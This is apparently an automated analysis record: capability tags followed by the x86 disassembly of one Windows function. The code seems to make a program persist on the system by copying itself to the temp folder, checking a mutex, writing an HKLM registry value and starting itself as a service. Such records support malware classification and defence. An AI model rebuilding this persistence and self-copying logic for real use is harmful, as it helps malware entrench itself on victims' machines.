Function at 0x402fd4
Capabilities:
Accept command line arguments
Check mutex on windows
Get common file path
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push edi
push esi
push ebx
call fcn.00403850
add esp, 0xfffffff4
push dword [0x409008]
call fcn.00401280
mov dword [section..bss], eax
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [0x40a034], eax
add esp, 0x20
add esp, 0xfffffffc
push 0x104
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [0x40a034]
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x4037a5
push 2
push 0
push 0
push ebx
call sub.KERNEL32.dll_SetFilePointer
cmp eax, 0x8e00
setne byte [ebp - 0xf9]
add esp, 0xfffffff8
lea eax, [ebp - 0xf1]
push eax
push ebx
call fcn.004016a8
mov byte [ebp - 0xfa], al
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0x1c
cmp byte [ebp - 0xfa], 0
je 0x4037a5
cmp byte [ebp - 0xf1], 0
je 0x4037a5
mov dword [ebp - 0xa0], 0x94
add esp, 0xfffffff4
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.dll_GetVersionExA
add esp, 0xc
cmp dword [ebp - 0x90], 2
sete byte [ebp - 0xfb]
cmp dword [ebp - 0x9c], 4
seta bl
add esp, 0xfffffff4
push 0x402f2d
call fcn.00401280
mov esi, eax
add esp, 0x10
test bl, bl
je 0x40315e
add esp, 0xfffffff4
push 0x402f25
call fcn.00401280
mov ebx, eax
mov dword [ebp - 0x100], esi
add esp, 0xfffffff4
mov edi, ebx
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edx, ecx
not edx
mov edi, esi
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [edx + ecx - 1]
push eax
call fcn.004039cc
mov esi, eax
add esp, 0x20
add esp, 0xfffffff8
push ebx
push esi
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff4
push ebx
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff8
mov eax, dword [ebp - 0x100]
push eax
push esi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff4
mov ecx, dword [ebp - 0x100]
push ecx
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffffc
push esi
push 0
push 0
call sub.KERNEL32.dll_CreateMutexA
mov ebx, eax
add esp, 0xfffffff8
push esi
call fcn.0040387c
mov byte [ebp - 0x101], 0
add esp, 0x10
test ebx, ebx
je 0x403190
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x403197
mov byte [ebp - 0x101], 1
cmp byte [ebp - 0xf9], 0
je 0x4031b1
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x40340c
cmp dword [ebp + 8], 1
jle 0x4033ff
call sub.KERNEL32.dll_GetCommandLineA
mov esi, eax
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov ebx, eax
add esp, 0xfffffffc
push ebx
push 0
push esi
call fcn.00401330
add esp, 0x20
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov esi, eax
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [ebp - 0x108], eax
add esp, 0x20
add esp, 0xfffffffc
push eax
push esi
push ebx
call fcn.00401330
add esp, 0xfffffff4
push ebx
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
push esi
call sub.KERNEL32.dll_GetFileAttributesA
mov ebx, eax
and al, 0xfe
add esp, 0xfffffff4
push eax
push esi
call sub.KERNEL32.dll_SetFileAttributesA
mov dword [ebp - 0x10c], 0
add esp, 0x18
jmp 0x403255
add esp, 0xfffffff4
push 0x64
call sub.KERNEL32.dll_Sleep
add esp, 0xc
inc dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], 9
jg 0x40328a
add esp, 0xfffffffc
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
add esp, 4
cmp eax, 0xffffffff
je 0x403242
add esp, 0xfffffff4
push eax
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
add esp, 0xfffffff8
push ebx
push esi
call sub.KERNEL32.dll_SetFileAttributesA
add esp, 8
cmp dword [ebp - 0x10c], 0xa
jne 0x40337a
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov ebx, eax
add esp, 0xfffffff8
push ebx
push 0x104
call sub.KERNEL32.dll_GetTempPathA
mov edi, esi
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
mov dword [ebp - 0x110], eax
add ecx, 0xfffffffe
mov dword [ebp - 0x10c], ecx
add esp, 0x18
cmp byte [esi + ecx - 1], 0x5c
je 0x403303
nop
lea esi, [esi]
dec dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
cmp byte [esi + ecx - 1], 0x5c
jne 0x4032f0
mov edi, ebx
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea edx, [ecx - 1]
mov ecx, dword [ebp - 0x110]
cmp dword [ebp - 0x10c], ecx
jg 0x403340
mov ecx, dword [ebp - 0x10c]
mov al, byte [ecx + esi]
mov byte [edx + ebx], al
inc ecx
mov dword [ebp - 0x10c], ecx
inc edx
mov eax, dword [ebp - 0x110]
cmp ecx, eax
jle 0x403322
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
je 0x403360
and al, 0xfa
add esp, 0xfffffff8
push eax
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
add esp, 8
add esp, 0xfffffffc
push 0
push ebx
push esi
call sub.KERNEL32.dll_CopyFileA
add esp, 0xfffffff8
push esi
call fcn.0040387c
mov esi, ebx
add esp, 0x10
add esp, 0xfffffff4
push esi
call fcn.00401f5c
add esp, 0x10
test al, al
je 0x4033d7
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov edi, eax
add esp, 0xfffffff8
push edi
push 0x104
call sub.KERNEL32.dll_GetCurrentDirectoryA
add esp, 0xfffffffc
lea ebx, [ebp - 0xf0]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
add esp, 0xfffffffc
push ebx
push edi
mov ecx, dword [ebp - 0x108]
push ecx
push esi
call fcn.00402e68
add esp, 0x30
add esp, 0xfffffff4
push edi
call fcn.0040387c
add esp, 0x10
add esp, 0xfffffff4
push esi
call fcn.0040387c
add esp, 0xfffffff4
mov eax, dword [ebp - 0x108]
push eax
call fcn.0040387c
add esp, 0x20
cmp byte [ebp - 0x101], 0
jne 0x4037a5
cmp byte [ebp - 0xf9], 0
je 0x403540
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [ebp - 0x114], eax
add esp, 0xfffffff8
push 0x104
mov ecx, eax
push ecx
call sub.KERNEL32.dll_GetWindowsDirectoryA
push dword [0x409014]
mov eax, dword [ebp - 0x114]
push eax
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push 0x402f86
call fcn.00401280
add esp, 0xfffffff8
push eax
mov ecx, dword [ebp - 0x114]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
mov eax, dword [ebp - 0x114]
push eax
call fcn.00402300
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov esi, eax
add esp, 0x20
add esp, 0xfffffff8
push dword [0x40901c]
push esi
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push dword [0x40a034]
push esi
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff8
push dword [0x40901c]
push esi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push dword [0x409018]
push esi
call sub.msvcrt.dll_strcat
add esp, 0x20
call sub.KERNEL32.dll_GetCommandLineA
mov edi, eax
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov ebx, eax
add esp, 0xfffffffc
push ebx
push 0
push edi
call fcn.00401330
add esp, 0x20
add esp, 0xfffffff8
push ebx
push esi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov edi, eax
add esp, 0x20
add esp, 0xfffffff8
push edi
push 0x104
call sub.KERNEL32.dll_GetCurrentDirectoryA
add esp, 0xfffffffc
lea ebx, [ebp - 0xf0]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
add esp, 0xfffffffc
push ebx
push edi
push esi
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.00402e68
jmp 0x4037a5
cmp byte [ebp - 0xfb], 0
jne 0x403556
cmp byte [ebp - 0x101], 0
jne 0x4037a5
add esp, 0xfffffff4
push 0x402f40
call fcn.00401280
mov dword [0x40a004], eax
add esp, 0x10
cmp byte [ebp - 0xfb], 0
jne 0x403669
add esp, 0xfffffff4
push 0x402f92
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_GetModuleHandleA
mov esi, eax
push ebx
call fcn.0040387c
add esp, 0x20
test esi, esi
je 0x4035d6
add esp, 0xfffffff4
push 0x402f9f
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff8
push ebx
push esi
call sub.KERNEL32.dll_GetProcAddress
mov esi, eax
add esp, 0xfffffffc
push ebx
call fcn.0040387c
add esp, 0x20
test esi, esi
je 0x4035d6
add esp, 0xfffffff8
push 1
push 0
call esi
add esp, 8
add esp, 0xfffffff4
push 0x402f50
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff4
push 0
lea eax, [ebp - 0xf8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0x1c
test eax, eax
jne 0x40364f
add esp, 0xfffffff8
mov edx, dword [0x40a034]
mov edi, edx
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push 0
push dword [0x40a004]
push dword [ebp - 0xf8]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xfffffffc
push dword [ebp - 0xf8]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esp, 0xfffffff4
push ebx
call fcn.0040387c
add esp, 0xfffffff4
push dword [0x40a004]
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [0x40a028], eax
mov byte [eax], 0x43
mov byte [eax + 1], 0x3a
mov byte [eax + 2], 0
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [0x40a02c], eax
mov byte [eax], 0
add esp, 0x20
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov dword [0x40a030], eax
add esp, 0xfffffff4
push 0x402fb6
call fcn.00401280
mov ebx, eax
add esp, 0x20
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_LoadLibraryA
mov esi, eax
push ebx
call fcn.0040387c
add esp, 0x10
test esi, esi
je 0x403704
add esp, 0xfffffff4
push 0x402fbe
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff8
push ebx
push esi
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x409020], eax
add esp, 0xfffffffc
push ebx
call fcn.0040387c
add esp, 0x20
cmp byte [ebp - 0xfb], 0
jne 0x403717
call fcn.00402a6c
jmp 0x4037a5
mov eax, dword [0x40a004]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], 0x402c18
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], 0x402c18
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
add esp, 0xfffffff4
lea eax, [ebp - 0xf0]
push eax
call sub.ADVAPI32.DLL_StartServiceCtrlDispatcherA
add esp, 0xc
test eax, eax
jne 0x4037a5
cmp byte [ebp - 0x101], 0
jne 0x4037a5
call fcn.00402d24
test eax, eax
je 0x4037a0
add esp, 0xfffffffc
push 0
push 0
push eax
call sub.ADVAPI32.DLL_StartServiceA
add esp, 4
test eax, eax
jne 0x4037a5
call fcn.00402a6c
xor eax, eax
lea esp, [ebp - 0x138]
pop ebx
pop esi
pop edi
leave
ret